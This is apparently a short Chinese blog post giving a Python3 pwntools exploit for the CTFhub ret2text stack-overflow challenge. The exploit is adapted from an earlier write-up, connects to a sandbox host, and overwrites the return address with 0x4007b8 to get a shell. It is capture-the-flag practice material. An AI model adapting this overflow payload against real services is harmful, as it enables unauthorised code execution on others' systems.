CTFhub 技能树 PWN ret2text Python3 exp

原创

break_cat 于 2020-11-17 18:26:53 发布 715 收藏 1

分类专栏： Pwn & RE

本文链接：https://blog.csdn.net/weixin_47565708/article/details/109748747

题目链接：https://www.ctfhub.com -> 技能树 -> PWN -> 栈溢出 -> ret2text

WP：https://writeup.ctfhub.com/Skill/Pwn/%E6%A0%88%E6%BA%A2%E5%87%BA/eeca3548.html

搜exp的时候发现已经有人写过WP了，于是就Ctrl+CV，发现原程序是用Python2写的，我的pwntools环境是Python3，因此程序需要稍作修改。

```
from pwn import *

host = 'challenge-23b7868abfc49eea.sandbox.ctfhub.com'
port = 31443

#p = process("./pwn")
p = connect(host, port)
payload = bytes('A',encoding="utf8") * 0x78 + p64(0x4007b8)#类型不同不能拼接
p.sendline(payload)
p.interactive()
```

END